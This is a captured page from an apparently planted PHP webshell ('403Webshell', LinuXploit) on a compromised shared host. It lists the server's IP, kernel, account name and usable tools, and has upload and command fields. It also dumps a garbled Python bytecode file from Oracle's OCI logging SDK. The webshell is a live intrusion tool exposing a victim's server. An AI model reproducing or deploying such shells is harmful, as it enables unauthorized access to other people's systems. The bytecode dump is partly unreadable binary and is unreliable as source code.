403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/oci/logging/models/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/oci/logging/models/__pycache__/unified_json_parser.cpython-39.pyc
a

���fE"�@sDddlmZddlmZmZmZddlmZeGdd�de��ZdS)�)�UnifiedAgentParser�)�formatted_flat_dict�
NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc@s�eZdZdZdZdZdZdd�Zedd��Z	e	j
d	d��Z	ed
d��Zej
dd��Zed
d��Zej
dd��Zedd��Z
e
j
dd��Z
dd�Zdd�Zdd�ZdS)�UnifiedJSONParserz
    JSON parser.
    �FLOAT�UNIXTIME�STRINGc
Ks�ddddddddddddd�|_dddd	d
ddd
ddddd�|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
d|_d|_d|_
d|_dS)a�

        Initializes a new UnifiedJSONParser object with values from keyword arguments. The default value of the :py:attr:`~oci.logging.models.UnifiedJSONParser.parser_type` attribute
        of this class is ``JSON`` and it should not be changed.
        The following keyword arguments are supported (corresponding to the getters/setters of this class):

        :param parser_type:
            The value to assign to the parser_type property of this UnifiedJSONParser.
            Allowed values for this property are: "AUDITD", "CRI", "JSON", "TSV", "CSV", "NONE", "SYSLOG", "APACHE2", "APACHE_ERROR", "MSGPACK", "REGEXP", "MULTILINE", "GROK", "MULTILINE_GROK", "OPENMETRICS", 'UNKNOWN_ENUM_VALUE'.
            Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.
        :type parser_type: str

        :param field_time_key:
            The value to assign to the field_time_key property of this UnifiedJSONParser.
        :type field_time_key: str

        :param types:
            The value to assign to the types property of this UnifiedJSONParser.
        :type types: dict(str, str)

        :param null_value_pattern:
            The value to assign to the null_value_pattern property of this UnifiedJSONParser.
        :type null_value_pattern: str

        :param is_null_empty_string:
            The value to assign to the is_null_empty_string property of this UnifiedJSONParser.
        :type is_null_empty_string: bool

        :param is_estimate_current_event:
            The value to assign to the is_estimate_current_event property of this UnifiedJSONParser.
        :type is_estimate_current_event: bool

        :param is_keep_time_key:
            The value to assign to the is_keep_time_key property of this UnifiedJSONParser.
        :type is_keep_time_key: bool

        :param timeout_in_milliseconds:
            The value to assign to the timeout_in_milliseconds property of this UnifiedJSONParser.
        :type timeout_in_milliseconds: int

        :param time_type:
            The value to assign to the time_type property of this UnifiedJSONParser.
            Allowed values for this property are: "FLOAT", "UNIXTIME", "STRING", 'UNKNOWN_ENUM_VALUE'.
            Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.
        :type time_type: str

        :param time_format:
            The value to assign to the time_format property of this UnifiedJSONParser.
        :type time_format: str

        :param parse_nested:
            The value to assign to the parse_nested property of this UnifiedJSONParser.
        :type parse_nested: bool

        :param separator:
            The value to assign to the separator property of this UnifiedJSONParser.
        :type separator: str

        �strzdict(str, str)�bool�int)Zparser_typeZfield_time_key�typesZnull_value_patternZis_null_empty_stringZis_estimate_current_eventZis_keep_time_keyZtimeout_in_milliseconds�	time_type�time_format�parse_nested�	separatorZ
parserTypeZfieldTimeKeyrZnullValuePatternZisNullEmptyStringZisEstimateCurrentEventZ
isKeepTimeKeyZtimeoutInMillisecondsZtimeTypeZ
timeFormatZparseNestedrNZJSON)Z
swagger_typesZ
attribute_mapZ_parser_typeZ_field_time_keyZ_typesZ_null_value_patternZ_is_null_empty_stringZ_is_estimate_current_eventZ_is_keep_time_keyZ_timeout_in_milliseconds�
_time_type�_time_format�
_parse_nested�
_separator)�self�kwargs�r�J/usr/lib/python3.9/site-packages/oci/logging/models/unified_json_parser.py�__init__sN<��zUnifiedJSONParser.__init__cCs|jS)ap
        Gets the time_type of this UnifiedJSONParser.
        JSON parser time type.

        Allowed values for this property are: "FLOAT", "UNIXTIME", "STRING", 'UNKNOWN_ENUM_VALUE'.
        Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.


        :return: The time_type of this UnifiedJSONParser.
        :rtype: str
        )r�rrrrr�s
zUnifiedJSONParser.time_typecCs gd�}t||�sd}||_dS)z�
        Sets the time_type of this UnifiedJSONParser.
        JSON parser time type.


        :param time_type: The time_type of this UnifiedJSONParser.
        :type: str
        )r	r
rZUNKNOWN_ENUM_VALUEN)rr)rrZallowed_valuesrrrr�s

cCs|jS)z�
        Gets the time_format of this UnifiedJSONParser.
        Process time value using the specified format.


        :return: The time_format of this UnifiedJSONParser.
        :rtype: str
        �rrrrrr�s
zUnifiedJSONParser.time_formatcCs
||_dS)z�
        Sets the time_format of this UnifiedJSONParser.
        Process time value using the specified format.


        :param time_format: The time_format of this UnifiedJSONParser.
        :type: str
        Nr)rrrrrr�s
cCs|jS)z�
        Gets the parse_nested of this UnifiedJSONParser.
        If true, a separator parameter can be further defined.


        :return: The parse_nested of this UnifiedJSONParser.
        :rtype: bool
        �rrrrrr�s
zUnifiedJSONParser.parse_nestedcCs
||_dS)z�
        Sets the parse_nested of this UnifiedJSONParser.
        If true, a separator parameter can be further defined.


        :param parse_nested: The parse_nested of this UnifiedJSONParser.
        :type: bool
        Nr)rrrrrr�s
cCs|jS)z�
        Gets the separator of this UnifiedJSONParser.
        Keys of adjacent levels are joined by the separator.


        :return: The separator of this UnifiedJSONParser.
        :rtype: str
        �rrrrrr�s
zUnifiedJSONParser.separatorcCs
||_dS)z�
        Sets the separator of this UnifiedJSONParser.
        Keys of adjacent levels are joined by the separator.


        :param separator: The separator of this UnifiedJSONParser.
        :type: str
        Nr )rrrrrr�s
cCst|�S�N)rrrrr�__repr__�szUnifiedJSONParser.__repr__cCs|durdS|j|jkS)NF)�__dict__�r�otherrrr�__eq__�szUnifiedJSONParser.__eq__cCs
||kSr!rr$rrr�__ne__�szUnifiedJSONParser.__ne__N)�__name__�
__module__�__qualname__�__doc__ZTIME_TYPE_FLOATZTIME_TYPE_UNIXTIMEZTIME_TYPE_STRINGr�propertyr�setterrrrr"r&r'rrrrrs0g







rN)	Zunified_agent_parserrZoci.utilrrrZoci.decoratorsrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit